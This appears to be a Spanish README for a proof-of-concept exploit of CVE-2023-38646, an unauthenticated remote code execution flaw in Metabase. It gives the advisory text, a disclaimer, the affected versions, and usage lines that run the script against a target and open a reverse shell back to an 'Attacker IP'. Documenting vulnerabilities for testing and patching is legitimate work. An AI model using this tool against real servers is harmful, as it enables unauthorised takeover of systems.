Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegios del servidor. No se requiere autenticación para la explotación. Las otras versiones corregidas son 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 y 1.43.7.2.
Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación. Las otras versiones corregidas son 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 y 1.43.7.2.
La vulnerabilidad existe en la aplicación al exponer el setup-token que puede ser utilizado para validar la base de datos dentro de api/setup/validate. Un usuario no autorizado puede crear un código malicioso y ejecutar comandos arbitrarios.
ÚSELO BAJO SU PROPIO RIESGO
Este script se proporciona con fines educativos y de prueba. El autor no se hace responsable de ningún uso indebido o daño causado por su uso. Asegúrese de cumplir con las leyes aplicables y los estándares éticos. Al usar este script, usted reconoce y acepta estos términos.
Metabase es una herramienta de inteligencia empresarial de código abierto que permite crear gráficos y paneles utilizando datos de una variedad de bases de datos y fuentes de datos. Es un proyecto popular, con más de 33k estrellas en GitHub y ha recibido bastante atención desde la perspectiva de la investigación de vulnerabilidades en los últimos años.
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST
options:
-h, --help show this help message and exit
-rh REMOTE_HOST, --remote-host REMOTE_HOST
Hostname of the target.
-rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
Port of the Target Machine (default: Port 80)
-p PORT, --port PORT Port for reverse shell.
-l LOCAL_HOST, --local-host LOCAL_HOST
Your IP Adress
Puede ejecutar el script utilizando el siguiente comando. Puede cambiar el puerto remoto usando -rp. El puerto predeterminado es 80.
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2